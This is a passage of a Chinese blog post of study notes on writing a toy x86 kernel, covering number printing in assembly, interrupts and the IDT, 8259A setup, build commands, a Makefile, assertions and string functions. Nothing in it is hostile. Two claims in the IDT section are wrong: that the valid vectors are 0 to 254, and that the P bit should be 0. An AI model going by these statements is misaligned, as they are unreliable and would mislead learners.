class="line">cmp edi, 8; 若已经比较第9个字符了</span><br><span class="line">; 表示待打印的字符串为全0</span><br><span class="line">je .full0</span><br><span class="line">; 找出连续的0字符，edi作为非0的最高位字符的偏移</span><br><span class="line">.go_on_skip:</span><br><span class="line">mov cl, [put_int_buffer + edi]</span><br><span class="line">inc edi</span><br><span class="line">cmp cl, &apos;0&apos;</span><br><span class="line">je .skip_prefix_0; 继续判断下一位字符是否为字符0(不是数字0)</span><br><span class="line">dec edi; edi在上面的inc操作中指向了下一个字符</span><br><span class="line">; 若当前字符不为&apos;0&apos;，要使edi减1恢复指向当前字符</span><br><span class="line">jmp .put_each_num</span><br><span class="line"></span><br><span class="line">.full0:</span><br><span class="line">mov cl, &apos;0&apos;; 输入的数字为全0时，则只打印0</span><br><span class="line">.put_each_num:</span><br><span class="line">push ecx; 此时cl中为可打印的字符</span><br><span class="line">call put_char</span><br><span class="line">add esp, 4</span><br><span class="line">inc edi; 使edi指向下一个字符</span><br><span class="line">mov cl, [put_int_buffer + edi] ; 获取下一个字符到cl寄存器</span><br><span class="line">cmp edi, 8</span><br><span class="line">jl .put_each_num</span><br><span class="line">popad</span><br><span class="line">ret</span><br></pre></td></tr></table></figure><p>在<code>print.h</code>增加一行<code>put_int</code>的申明注释，<code>main.c</code>中增加测试代码即可，测试结果如下所示</p><p><img src="/2020/05/10/简单内核实现笔记-part-2/54.png" alt></p><h1 id="中断"><a href="#中断" class="headerlink" title="中断"></a>中断</h1><p>中断的存在极大提高了计算机的效率，可分为外部中断和内部中断。</p><p>外部中断的中断源为某个硬件，CPU为中断信号提供了两条信号线分别是<code>INTR</code>和<code>NMI</code>，如下图所示，从INTR引脚收到的中断都是不影响系统运行的，可以随时处理，不会影响到CPU的执行。也称为可屏蔽中断。可以通过eflag中的<code>IF</code>位将所有这些外部中断屏蔽</p><p><img src="/2020/05/10/简单内核实现笔记-part-2/55.png" alt="image-20200526104424200"></p><p>内部中断可分为软中断和异常</p><p><strong>软中断</strong></p><p>顾名思义是软件主动发起的中断，不受eflags中的IF位的影响，有如下指令：</p><ul><li>“int 8位立即数”，通过它进行系统调用</li><li>int3，int和3之间无空格，用于调试</li><li>into，中断溢出指令，当OF位也为1时，触发4号中断</li><li>bound，检查数组索引越界指令，越界时触发5号中断</li><li>ud2，未定义指令，触发6号中断</li></ul><p><strong>异常</strong></p><p>异常是指令执行期间CPU内部产生的错误引起的，也不受eflags中的IF位的影响，按照轻重程度分为三种</p><ol><li>Fault，也称故障。属于可被修复的一种类型，当发生此类异常时，CPU将机器状态恢复到异常之前的状态 ，之后调用中断处理程序，通常都能够被解决。缺页异常就属于此种异常</li><li>Trap，也称陷阱。此异常通常在调试中。</li><li>Abort，也称终止。程序发生了此类异常通常就无法继续执行下去，操作系统会将此程序从进程表中去除。</li></ol><h2 id="中断描述符表"><a href="#中断描述符表" class="headerlink" title="中断描述符表"></a>中断描述符表</h2><p>中断描述符表是保护模式下用于存储中断处理程序入口的表，当CPU接受到一个中断时，需要根据该中断的中断向量号在此表中检索对应的描述符，在该描述符中找到中断处理程序的起始地址，然后执行中断处理程序，这和之前段描述符非常类似，类比学习即可。</p><p>实模式下用于中断处理程序入口的表叫做中断向量表(IVT)，保护模式下则是中断描述符表(IDT)。</p><p>IVT在实模式下位于0~0x3ff共1024个字节，又知IVT可容纳256个中断向量，故每个中断向量用4字节描述；对比IVT，IDT表地址不受限制，在哪里都可以，每个描述符用8字节描述。这里主要讨论IDT，在IDT中描述符称之为门，也就是之前介绍过的门，这里再区别一下门和段描述符</p><ul><li>段描述符中描述的是一片内存区域</li><li>门描述符描述的是一段代码，除调用门外，任务门、中断门、陷阱门都可以存在于中断描述符中</li></ul><p>IDT位置不固定，故CPU找到它需要通过一个寄存器<strong>IDTR</strong>，如下图，其中0~15位是表界限，也就是IDT大小减一，第16~47位是IDT的基地址，和之前的GDTR是一个原理</p><p><img src="/2020/05/10/简单内核实现笔记-part-2/56.png" alt="image-20200526104424200"></p><p>16位的表界限范围是0~0xffff，即64KB，可容纳的描述符个数是64KB/8=8K=8192个。特别注意的是GDT中的第0个段描述符是不可用的，但IDT却无此限制，第0个门描述符也是可用的，处理器只支持256个中断，即0~254，中断描述符中其他的描述符不可用，还需要注意的是门描述符中的P位，构建IDT时需要将其置为0，表示门描述符的中断处理程序不在内存中。加载IDTR需要用到lidt指令，用法是<code>lidt 48位内存数据</code></p><p>中断的处理过程总结如下</p><ol><li>处理器根据中断向量号定位中断门描述符</li><li>处理器进行特权级检查</li><li>执行中断处理程序</li></ol><p><img src="/2020/05/10/简单内核实现笔记-part-2/57.png" alt="image-20200526104424200"></p><p>中断发生之后需要执行中断处理程序，该中断处理程序是通过中断门描述符中保存的代码段选择子和段内偏移找到的，这个时候就需要重新加载段寄存器，也就是说需要在栈中保存一些寄存器信息(CS:EIP、eflags等)，保证中断之后执行的流程正确，当特权级变化的时候，压栈如下图所示</p><p><img src="/2020/05/10/简单内核实现笔记-part-2/58.png" alt="image-20200526104424200"></p><p>图A、B：在发生中断是通过特权级的检测，发现需要向高特权级转移，所以要保存当前程序栈的SS和ESP的值，在这里记为ss_old, esp_old，然后在新栈中压入当前程序的eflags寄存器。</p><p>图C、D：由于要切换目标代码段，这种段间转移，要对CS和EIP进行备份，同样将其存入新栈中。某些异常会有错误码，用来标识异常发生在哪个段上，对于有错误码的情况，要将错误码也压入栈中。</p><p>当特权级没有变化的时候，就不需要压入旧栈的SS和EIP</p><p><img src="/2020/05/10/简单内核实现笔记-part-2/59.png" alt="image-20200526104424200"></p><p>返回的时候通过指令 <strong>iret</strong> 完成，<strong>iret</strong> 指令会从栈顶依次弹出EIP、CS、EFLAGS，根据特权级的变化还有ESP、SS。但是该指令并不验证数据的正确性，而且他从栈中弹出数据的顺序是不变的，也就是说，在有error_code的情况下，iret返回时并不会主动跳过这个数据，需要我们手动进行处理。</p><h2 id="编写中断处理程序"><a href="#编写中断处理程序" class="headerlink" title="编写中断处理程序"></a>编写中断处理程序</h2><p>下面通过操作8259A芯片实现第一个中断处理程序，关于8259A相关信息参考书中P311内容，本质上是一个可编程中断控制器，处理流程如下，<code>init_all</code>负责初始化所有设备及结构体，然后调用<code>idt_init</code>初始化中断相关内容，内部分别调用了<code>pic_init</code>和<code>idt_desc_init</code>实现，其中<code>pic_init</code>初始化8259A，<code>idt_desc_init</code>负责对中断描述符IDT表进行初始化，最后再对IDT表进行加载</p><p><img src="/2020/05/10/简单内核实现笔记-part-2/60.png" alt="image-20200526104424200" style="zoom:50%;"></p><p>我们需要进行以下几个步骤</p><ol><li>用汇编语言实现中断处理程序</li><li>创建中断描述符表IDT，安装中断处理程序</li><li>用内联汇编实现端口I/O函数(对端口的读写操作)</li><li>设置8259A</li></ol><p>新添加中断后的文件树如下所示，<code>build</code>中是生成后的文件，<code>device</code>中存放的是为了提高中断频率对8253计数器的操作，<code>kernel</code>中新加的<code>interrupt</code>是对中断初始化的主要文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">.</span><br><span class="line">├── boot</span><br><span class="line">│   ├── include</span><br><span class="line">│   │   └── boot.inc</span><br><span class="line">│   ├── loader.bin</span><br><span class="line">│   ├── loader.S</span><br><span class="line">│   ├── mbr.bin</span><br><span class="line">│   └── mbr.S</span><br><span class="line">├── build</span><br><span class="line">│   ├── init.o</span><br><span class="line">│   ├── interrupt.o</span><br><span class="line">│   ├── kernel.bin</span><br><span class="line">│   ├── kernel.o</span><br><span class="line">│   ├── main.o</span><br><span class="line">│   ├── print.o</span><br><span class="line">│   └── timer.o</span><br><span class="line">├── device</span><br><span class="line">│   ├── timer.c</span><br><span class="line">│   └── timer.h</span><br><span class="line">├── kernel</span><br><span class="line">│   ├── global.h</span><br><span class="line">│   ├── init.c</span><br><span class="line">│   ├── init.h</span><br><span class="line">│   ├── interrupt.c</span><br><span class="line">│   ├── interrupt.h</span><br><span class="line">│   ├── kernel.S</span><br><span class="line">│   └── main.c</span><br><span class="line">└── lib</span><br><span class="line">    ├── kernel</span><br><span class="line">    │   ├── io.h</span><br><span class="line">    │   ├── print.h</span><br><span class="line">    │   ├── print.o</span><br><span class="line">    │   └── print.S</span><br><span class="line">    ├── stdint.h</span><br><span class="line">    └── user</span><br><span class="line"></span><br><span class="line">8 directories, 26 files</span><br></pre></td></tr></table></figure><p>编译比较麻烦，如下所示</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">//编译c程序，生成目标文件，这里需要关闭栈保护并指定32位程序</span><br><span class="line">sudo gcc -m32 -fno-stack-protector -I lib/kernel/ -c -o build/timer.o device/timer.c</span><br><span class="line">sudo gcc -m32 -fno-stack-protector -I lib/kernel -I lib/ -I kernel -c -fno-builtin -o build/init.o kernel/init.c </span><br><span class="line">sudo gcc -m32 -fno-stack-protector -I lib/kernel -I lib/ -I kernel -c -fno-builtin -o build/main.o kernel/main.c</span><br><span class="line">sudo gcc -m32 -fno-stack-protector -I lib/kernel -I lib/ -I kernel -c -fno-builtin -o build/interrupt.o kernel/interrupt.c</span><br><span class="line"></span><br><span class="line">//编译汇编</span><br><span class="line">sudo nasm -f elf -o build/print.o lib/kernel/print.S</span><br><span class="line">sudo nasm -f elf -o build/kernel.o kernel/kernel.S</span><br><span class="line"></span><br><span class="line">//链接，在build目录下</span><br><span class="line">sudo ld -m elf_i386 -Ttext 0xc0001500 -e main -o kernel.bin main.o init.o interrupt.o print.o kernel.o timer.o</span><br><span class="line"></span><br><span class="line">//写入img</span><br><span class="line">sudo dd if=./kernel.bin of=/home/guang/soft/bochs-2.6.2/bin/hd60M.img bs=512 count=200 seek=9 conv=notrunc</span><br></pre></td></tr></table></figure><p>运行结果如下，这里我为了效果演示注释了<code>interrupt.c</code>文件中<code>general_intr_handler</code>函数的最后三行打印中断号的部分，结果如下</p><p><img src="/2020/05/10/简单内核实现笔记-part-2/61.png" alt="image-20200526104424200"></p><p>取消注释后，效果如下</p><p><img src="/2020/05/10/简单内核实现笔记-part-2/62.png" alt="image-20200526104424200"></p><h1 id="内存管理系统"><a href="#内存管理系统" class="headerlink" title="内存管理系统"></a>内存管理系统</h1><p>在编写内存管理系统之前需要做一些其他的准备工作</p><h2 id="Makefile和断言"><a href="#Makefile和断言" class="headerlink" title="Makefile和断言"></a>Makefile和断言</h2><p>为了更好的对kernel进行编译，这里使用makefile来操作，makefile具体的知识点就不单独列举了，感兴趣的小伙伴可以自己查阅资料，和作者不同的是这里我是x64的系统，新增了一些编译选项并且把ubantu的终端修改为了bash，具体如下</p><figure class="highlight makefile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line">BUILD_DIR = ./build</span><br><span class="line">ENTRY_POINT = 0xc0001500</span><br><span class="line">AS = nasm</span><br><span class="line">CC = gcc</span><br><span class="line">LD = ld</span><br><span class="line">LIB = -I lib/ -I lib/kernel/ -I lib/user/ -I kernel/ -I device/</span><br><span class="line">ASFLAGS = -f elf</span><br><span class="line">CFLAGS = -m32 -fno-stack-protector -Wall <span class="variable">$(LIB)</span> -c -fno-builtin -W -Wstrict-prototypes \</span><br><span class="line">         -Wmissing-prototypes </span><br><span class="line">LDFLAGS = -m elf_i386 -Ttext <span class="variable">$(ENTRY_POINT)</span> -e main -Map <span class="variable">$(BUILD_DIR)</span>/kernel.map</span><br><span class="line">OBJS = <span class="variable">$(BUILD_DIR)</span>/main.o <span class="variable">$(BUILD_DIR)</span>/init.o <span class="variable">$(BUILD_DIR)</span>/interrupt.o \</span><br><span class="line">      <span class="variable">$(BUILD_DIR)</span>/timer.o <span class="variable">$(BUILD_DIR)</span>/kernel.o <span class="variable">$(BUILD_DIR)</span>/print.o \</span><br><span class="line">      <span class="variable">$(BUILD_DIR)</span>/debug.o</span><br><span class="line"></span><br><span class="line"><span class="comment">##############     c代码编译     ###############</span></span><br><span class="line"><span class="variable">$(BUILD_DIR)</span>/main.o: kernel/main.c lib/kernel/print.h \</span><br><span class="line">        lib/stdint.h kernel/init.h</span><br><span class="line"><span class="variable">$(CC)</span> <span class="variable">$(CFLAGS)</span> <span class="variable">$&lt;</span> -o <span class="variable">$@</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$(BUILD_DIR)</span>/init.o: kernel/init.c kernel/init.h lib/kernel/print.h \</span><br><span class="line">        lib/stdint.h kernel/interrupt.h device/timer.h</span><br><span class="line"><span class="variable">$(CC)</span> <span class="variable">$(CFLAGS)</span> <span class="variable">$&lt;</span> -o <span class="variable">$@</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$(BUILD_DIR)</span>/interrupt.o: kernel/interrupt.c kernel/interrupt.h \</span><br><span class="line">        lib/stdint.h kernel/global.h lib/kernel/io.h lib/kernel/print.h</span><br><span class="line"><span class="variable">$(CC)</span> <span class="variable">$(CFLAGS)</span> <span class="variable">$&lt;</span> -o <span class="variable">$@</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$(BUILD_DIR)</span>/timer.o: device/timer.c device/timer.h lib/stdint.h\</span><br><span class="line">         lib/kernel/io.h lib/kernel/print.h</span><br><span class="line"><span class="variable">$(CC)</span> <span class="variable">$(CFLAGS)</span> <span class="variable">$&lt;</span> -o <span class="variable">$@</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$(BUILD_DIR)</span>/debug.o: kernel/debug.c kernel/debug.h \</span><br><span class="line">        lib/kernel/print.h lib/stdint.h kernel/interrupt.h</span><br><span class="line"><span class="variable">$(CC)</span> <span class="variable">$(CFLAGS)</span> <span class="variable">$&lt;</span> -o <span class="variable">$@</span></span><br><span class="line"></span><br><span class="line"><span class="comment">##############    汇编代码编译    ###############</span></span><br><span class="line"><span class="variable">$(BUILD_DIR)</span>/kernel.o: kernel/kernel.S</span><br><span class="line"><span class="variable">$(AS)</span> <span class="variable">$(ASFLAGS)</span> <span class="variable">$&lt;</span> -o <span class="variable">$@</span></span><br><span class="line"><span class="variable">$(BUILD_DIR)</span>/print.o: lib/kernel/print.S</span><br><span class="line"><span class="variable">$(AS)</span> <span class="variable">$(ASFLAGS)</span> <span class="variable">$&lt;</span> -o <span class="variable">$@</span></span><br><span class="line"></span><br><span class="line"><span class="comment">##############    链接所有目标文件    #############</span></span><br><span class="line"><span class="variable">$(BUILD_DIR)</span>/kernel.bin: <span class="variable">$(OBJS)</span></span><br><span class="line"><span class="variable">$(LD)</span> <span class="variable">$(LDFLAGS)</span> <span class="variable">$^</span> -o <span class="variable">$@</span></span><br><span class="line"></span><br><span class="line">.PHONY : mk_dir hd clean all</span><br><span class="line"></span><br><span class="line"><span class="comment"># ubantu中需要将dash修改为bash运行</span></span><br><span class="line"><span class="comment"># ls -al /bin/sh若结果为/bin/sh -&gt; dash</span></span><br><span class="line"><span class="comment"># 执行sudo dpkg-reconfigure dash选择No即可</span></span><br><span class="line"><span class="section">mk_dir:</span></span><br><span class="line">if [[ ! -d <span class="variable">$(BUILD_DIR)</span> ]];then mkdir <span class="variable">$(BUILD_DIR)</span>;fi</span><br><span class="line"></span><br><span class="line"><span class="section">hd:</span></span><br><span class="line">dd if=<span class="variable">$(BUILD_DIR)</span>/kernel.bin \</span><br><span class="line">           of=/home/guang/soft/bochs-2.6.2/bin/hd60M.img \</span><br><span class="line">           bs=512 count=200 seek=9 conv=notrunc</span><br><span class="line"></span><br><span class="line"><span class="section">clean:</span></span><br><span class="line">cd <span class="variable">$(BUILD_DIR)</span> &amp;&amp; rm -f ./*</span><br><span class="line"></span><br><span class="line"><span class="section">build: <span class="variable">$(BUILD_DIR)</span>/kernel.bin</span></span><br><span class="line"></span><br><span class="line"><span class="section">all: mk_dir build hd</span></span><br></pre></td></tr></table></figure><p>为了调试方便我们新增加了断言(ASSERT)，其核心思想是若断言通过则什么都不做，若不通过则用循环实现等待，打印错误信息，具体内容见<code>debug.c</code>和<code>debug.h</code>，在<code>main.c</code>中对其进行测试</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"print.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"init.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"debug.h"</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   put_str(<span class="string">"Welcome to TJ's kernel\n"</span>);</span><br><span class="line">   init_all();</span><br><span class="line">   ASSERT(<span class="number">1</span>==<span class="number">2</span>); <span class="comment">// 测试断言</span></span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>主目录下用<code>sudo make all</code>编译之后，测试断言运行效果如下所示</p><p><img src="/2020/05/10/简单内核实现笔记-part-2/63.png" alt="image-20200526104424200"></p><h2 id="字符串函数实现"><a href="#字符串函数实现" class="headerlink" title="字符串函数实现"></a>字符串函数实现</h2><p>在lib目录下用<code>string.c</code>实现对字符串的一些操作函数，比较好理解就不多解释了，代码如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"string.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"global.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"debug.h"</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 将dst_起始的size个字节置为value */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">memset</span><span class="params">(<span class="keyword">void</span>* dst_, <span class="keyword">uint8_t</span> value, <span class="keyword">uint32_t</span> size)</span> </span>&#123;</span><br><span class="line">ASSERT(dst_ != <span class="literal">NULL</span>);</span><br><span class="line"><span class="keyword">uint8_t</span>* dst = (<span class="keyword">uint8_t</span>*)dst_;</span><br><span class="line"><span class="keyword">while</span>(size--)</span><br><span class="line">&#123;</span><br><span class="line">*dst++ = value;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 将src_起始的size个字节复制到dst_ */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">memcpy</span><span class="params">(<span class="keyword">void</span>* dst_, <span class="keyword">const</span> <span class="keyword">void</span>* src_, <span class="keyword">uint32_t</span> size)</span> </span>&#123;</span><br><span class="line">ASSERT(dst_ != <span class="literal">NULL</span> &amp;&amp; src_ != <span class="literal">NULL</span>);</span><br><span class="line"><span class="keyword">uint8_t</span>* dst = (<span class="keyword">uint8_t</span>*)dst_;</span><br><span class="line"><span class="keyword">const</span> <span class="keyword">uint8_t</span>* src = src_;</span><br><span class="line"><span class="keyword">while</span>(size--)</span><br><span class="line">&#123;</span><br><span class="line">*dst++ = *src++;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 连续比较以地址a_和地址b_开头的size个字节,若相等则返回0,若a_大于b_返回+1,否则返回-1 */</span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">memcmp</span><span class="params">(<span class="keyword">const</span> <span class="keyword">void</span>* a_, <span class="keyword">const</span> <span class="keyword">void</span>* b_, <span class="keyword">uint32_t</span> size)</span> </span>&#123;</span><br><span class="line"><span class="keyword">const</span> <span class="keyword">char</span>* a = a_;</span><br><span class="line">    <span class="keyword">const</span> <span class="keyword">char</span>* b = b_;</span><br><span class="line">ASSERT(a != <span class="literal">NULL</span> &amp;&amp; b != <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span>(size--) &#123;</span><br><span class="line"><span class="keyword">if</span>(*a != *b) &#123;</span><br><span class="line"><span class="keyword">return</span> *a &gt; *b ? <span class="number">1</span> : <span class="number">-1</span>;</span><br><span class="line">&#125;</span><br><span class="line">a++;</span><br><span class="line">b++;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 将字符串从src_复制到dst_,'0'为截至条件 */</span></span><br><span class="line"><span class="function"><span class="keyword">char</span>* <span class="title">strcpy</span><span class="params">(<span class="keyword">char</span>* dst_, <span class="keyword">const</span> <span class="keyword">char</span>* src_)</span> </span>&#123;</span><br><span class="line">ASSERT(dst_ != <span class="literal">NULL</span> &amp;&amp; src_ != <span class="literal">NULL</span>);</span><br><span class="line"><span class="keyword">char</span>* r = dst_;       <span class="comment">// 用来返回目的字符串起始地址</span></span><br><span class="line"><span class="keyword">while</span>((*dst_++ = *src_++));</span><br><span class="line"><span class="keyword">return</span> r;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 返回字符串长度 */</span></span><br><span class="line"><span class="keyword">uint32_t</span> <span class="built_in">strlen</span>(<span class="keyword">const</span> <span class="keyword">char</span>* str) &#123;</span><br><span class="line">ASSERT(str != <span class="literal">NULL</span>);</span><br><span class="line"><span class="keyword">const</span> <span class="keyword">char</span>* p = str;</span><br><span class="line"><span class="keyword">while</span>(*p++);</span><br><span class="line"><span class="keyword">return</span> (p - str - <span class="number">1</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 比较两个字符串,若a_中的字符大于b_中的字符返回1,相等时返回0,否则返回-1. */</span></span><br><span class="line"><span class="keyword">int8_t</span> <span class="built_in">strcmp</span> (<span class="keyword">const</span> <span class="keyword">char</span>* a, <span class="keyword">const</span> <span class="keyword">char</span>* b) &#123;</span><br><span class="line">ASSERT(a != <span class="literal">NULL</span> &amp;&amp; b != <span class="literal">NULL</span>);</span><br><span class="line"><span class="keyword">while</span> (*a != <span class="number">0</span> &amp;&amp; *a == *b) &#123;</span><br><span class="line">a++;</span><br><span class="line">b++;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">/* 如果*a小于*b就返回-1,否则就属于*a大于等于*b的情况。在后面的布尔表达式"*a &gt; *b"中,</span></span><br><span class="line"><span class="comment"> * 若*a大于*b,表达式就等于1,否则就表达式不成立,也就是布尔值为0,恰恰表示*a等于*b */</span></span><br><span class="line">   <span class="keyword">return</span> *a &lt; *b ? <span class="number">-1</span> : *a &gt; *b;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 从左到右查找字符串str中首次出现字符ch的地址(不是下标,是地址) */</span></span><br><span class="line"><span class="function"><span class="keyword">char</span>* <span class="title">strchr</span><span class="params">(<span class="keyword">const</span> <span class="keyword">char</span>* str, <span class="keyword">const</span> <span class="keyword">uint8_t</span> ch)</span> </span>&#123;</span><br><span class="line">ASSERT(str != <span class="literal">NULL</span>);</span><br><span class="line"><span class="keyword">while</span>(*str != <span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span>(*str == ch)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">return</span> (<span class="keyword">char</span>*)str;<span class="comment">// 需要强制转化成和返回值类型一样,否则编译器会报const属性丢失,下同.</span></span><br><span class="line">&#125;</span><br><span class="line">str++;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 从后往前查找字符串str中首次出现字符ch的地址(不是下标,是地址) */</span></span><br><span class="line"><span class="function"><span class="keyword">char</span>* <span class="title">strrchr</span><span class="params">(<span class="keyword">const</span> <span class="keyword">char</span>* str, <span class="keyword">const</span> <span class="keyword">uint8_t</span> ch)</span> </span>&#123;</span><br><span class="line">    ASSERT(str != <span class="literal">NULL</span>);</span><br><span class="line">    <span class="keyword">const</span> <span class="keyword">char</span>* last_char = <span class="literal">NULL</span>;</span><br><span class="line">    <span class="comment">/* 从头到尾遍历一次,若存在ch字符,last_char总是该字符最后一次出现在串中的地址(不是下标,是地址)*/</span></span><br><span class="line">    <span class="keyword">while</span> (*str != <span class="number">0</span>) &#123;</span><br><span class="line"><span class="keyword">if</span> (*str == ch) &#123;</span><br><span class="line">last_char = str;</span><br><span class="line">&#125;</span><br><span class="line">str++;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> (<span 